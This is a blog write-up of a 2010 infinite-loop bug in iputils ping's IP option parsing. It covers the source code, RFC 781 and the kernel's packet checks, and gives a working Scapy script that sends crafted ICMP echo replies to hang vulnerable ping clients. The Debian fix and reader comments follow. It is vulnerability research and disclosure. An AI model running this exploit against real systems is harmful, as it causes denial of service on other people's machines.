However, I like networking and found the vulnerability funny (reminds me a bit the ping of death), so I investigated, found the vulnerability and developed an exploit.
Finding the vulnerability was easy thanks to vigilance. They almost give the answer:
The ping tool sends an IPv4+ICMP_Echo_Request to a remote computer, which answers with an IPv4+ICMP_Echo_Reply packet. If the remote computer sends an answer containing an IPv4 Timestamp option, the pr_options() function of ping.c decodes its. However, this function is invalid, and an infinite loop occurs. A server can therefore send a malicious ICMP reply, in order to generate an infinite loop in the ping tool.
The vulnerability
Read the source ping.c and go to pr_options() function:
979 void pr_options(unsigned char * cp, int hlen)then find the case for handling IPv4 Timestamp option:
1062 case IPOPT_TS:Then you read:
1064 int stdtime = 0, nonstdtime = 0; 1065 __u8 flags; 1066 j = *++cp; /* get length */ 1067 i = *++cp; /* and pointer */ 1068 if (i > j) 1069 i = j; 1070 i -= 5; 1071 if (i <= 0) 1072 continue;Hmm... continue? We are going into an infinite loop if this condition is true, that is to say when (i <= 5) or (i>j and j<=5).
I think the programmer intended break, or at least it is how I would patch the bug. I did not see any diff confirming this yet. It is true that Mandriva subscribers have updated packages, but you have to pay to have them so...
Understand IPv4 Timestamp option
IPv4 Timestamp is an IPv4 optional option, and as with all IP options, they come in the IP header. I assume you're already familiar with IPv4 and how IP options work (see IP header). But to understand IPv4 Timestamp entirely, let's go back to RFC 781: A specification of the Internet Protocol (IP) timestamp option, written by Zaw-Sing Su in May 1981 (!).
0 7 15 23 31 +---------------+---------------+---------------+---------------+ | type | length | offset |overflw| flags | +---------------+---------------+---------------+---------------+ | internet ID | +---------------+---------------+---------------+---------------+ | time stamp | +---------------+---------------+---------------+---------------+ option type = 68 decimal (i.e., option class = 2 and option number = 4); option length = the number of octets with a maximum of 40 (limited by IHL = 15); offset = the number of octets from the beginning of this option to the end of timestamps (i.e., the beginning of space for next timestamp). It is set to one, an odd number, when no more space remains in the header for timestamps; overflow = the number of IP modules that cannot register timestamps due to lack of space; flag = 0 -- time stamps only, 1 -- each timestamp is preceded with internet ID of the registering entity, 3 -- the internet ID fields are prespecified. An IP module only registers its timestamp if it matches its own ID with the next specified internet ID;Good, so what they call pointer in the code is the offset field. The condition to trigger the vulnerability can now be understood as (offset <= 5) or (offset>length and length<=5).
But to be sure that our packet will be received, let's look at how the TCP/IP stack of the Linux kernel handles these packets.
Dive in Linux TCP/IP stack
Thanks to Linux Cross-Reference, we quickly get to the file responsible for IPv4 options, and to the function handling IPv4 Timestamp option: net/ipv4/ip_options.c.
342 case IPOPT_TIMESTAMP: 343 if (opt->ts) { 344 pp_ptr = optptr; 345 goto error; 346 } 347 if (optlen < 4) { 348 pp_ptr = optptr + 1; 349 goto error; 350 } 351 if (optptr[2] < 5) { 352 pp_ptr = optptr + 2; 353 goto error; 354 } 355 if (optptr[2] <= optlen) { 356 __be32 *timeptr = NULL; 357 if (optptr[2]+3 > optptr[1]) { 358 pp_ptr = optptr + 2; 359 goto error; 360 }A few checks are made, if they are true the packet is ignored:
- length < 4
- offset < 5
- offset <= length
- offset+3 > length
Everything is ok with offset=5 and a length of 8: timestamp option header (4 bytes) + value of a timestamp (4 bytes).
Below we have a several cases depending on the flag (4 bits) field. Sadly, all the cases are protected against incorrect values of offset and/or length. However the default case does not check anything in particular, and accepts the packet! We'll then use flag=4, undefined in the RFC.
Exploit with Scapy
Scapy is my favourite packet manipulation tool. To prove once against its awesomeness, let's build the exploit with it.
But first, since we want to build a fake ICMP echo-reply, we have to tell the kernel not to reply to ICMP echo-requests otherwise two replies would be sent. You can do this either via iptables or more conveniently, procfs:
$ echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all(restore by echo'ing 0)
We will use sniff() function to capture ICMP echo-request packets and process them:
sniff(count=0, store=1, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, *arg, **karg) Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding)A quick look at Scapy Python source scapy/layers/inet.py indicates us how IPv4 options fields work. Assembling all the pieces, it gives the following exploit:
def reply(s): p = IP(src=s[IP].dst, dst=s[IP].src)/ICMP(type=0, id=s[ICMP].id, seq=s[ICMP].seq)/(s[Raw] if s.haslayer(Raw) else '') p[IP].options = [IPOption(optclass='debug',option='timestamp',value='\x05\x04ABCD')] send(p) sniff(lfilter = lambda p: p.haslayer(ICMP) and p[ICMP].type==8, prn=reply)Yes, that's all! God I love Scapy..
Upon receiving an ICMP echo-request (type 8), it simply builds a new IP packet with an ICMP echo-reply (type 0), copies required ICMP fields and payload and adds an IPv4 Timestamp option with:
- 5 as the offset
- 0 as the overflow, 4 as the flags
- one TS record for IP address 65.66.67.68 ('ABCD') but timestamp unrecorded
I'll be running this Scapy script for a few days, so if you want to see if you are vulnerable just ping stalkr.net :)
As far as I know, following kernel/distributions are vulnerable:
- 2.6.26-2-amd64 Debian lenny
- 2.6.32-5-amd64 Debian sid
- 2.6.32 Arch Linux
- 2.6.30-9 Ubuntu 8.10
- 2.6.28-17 Ubuntu 9.04
- 2.6.31-14 Ubuntu 9.10
- 2.6.32-23 Ubuntu 10.04
Update 2010-07-28
Seeing Debian security-tracker, it is currently fixed in sid (unstable) and squeeze (testing) but not in lenny (stable) nor etch (old-stable). Update: fixed in lenny since 2010-09-04! It was long...
Seeing Debian diff for sid iputils we can see they indeed replaced continue with break, and also that it wasn't the only place:
Index: trunk/ping.c =================================================================== --- trunk.orig/ping.c 2010-07-23 21:26:53.000000000 -0700 +++ trunk/ping.c 2010-07-23 21:28:27.000000000 -0700 @@ -1059,7 +1059,7 @@ i = j; i -= IPOPT_MINOFF; if (i <= 0) - continue; + break; if (i == old_rrlen && !strncmp((char *)cp, old_rr, i) && !(options & F_FLOOD)) { @@ -1096,7 +1096,7 @@ i = j; i -= 5; if (i <= 0) - continue; + break; flags = *++cp; printf("\nTS: "); cp++;Indeed there was the same issue with IP option 7 Route Record (RR):
1028 case IPOPT_RR: 1029 j = *++cp; /* get length */ 1030 i = *++cp; /* and pointer */ 1031 if (i > j) 1032 i = j; 1033 i -= IPOPT_MINOFF; 1034 if (i <= 0) 1035 continue;
Exploiting this similar vulnerability with a crafted IP packet using option RR is left as an exercise to the reader. ;)
Interesting vulnerability :)
ReplyDeleteThank you for sharing.
Nice paper. Thanks
ReplyDeleteThank you for sharing.
ReplyDeleteBTW, I want to try to "ping stalkr.net", can you run the Scapy script again? THX.
Hello Shang, I checked the Scapy script is running well. If it doesn't show any ping reply and does not hang with 100% CPU, it means your version of ping is not vulnerable/up-to-date.
ReplyDeleteDear StalkR,
ReplyDeleteSorry for disturbing you again.
I used sniffer tool to sniff packets when I ping stalkr.net. I didn't see any response packets from stalkr.net to my host. To my understanding of your article, there should be two reasonable when doing "ping stalkr.net" action.
case 1(vulnerable case):
I can sniff the response packets and the packets cause my ping to infinite loop.
case 2(non-vulnerable case):
I can sniff the response packets but the packets doesn't cause my ping to infinite loop.
No meter what cases, I should see the response packets but I didn't. Is there any thing wrong with my concept?
maybe your firewall/gateway/isp is dropping packets with options
ReplyDelete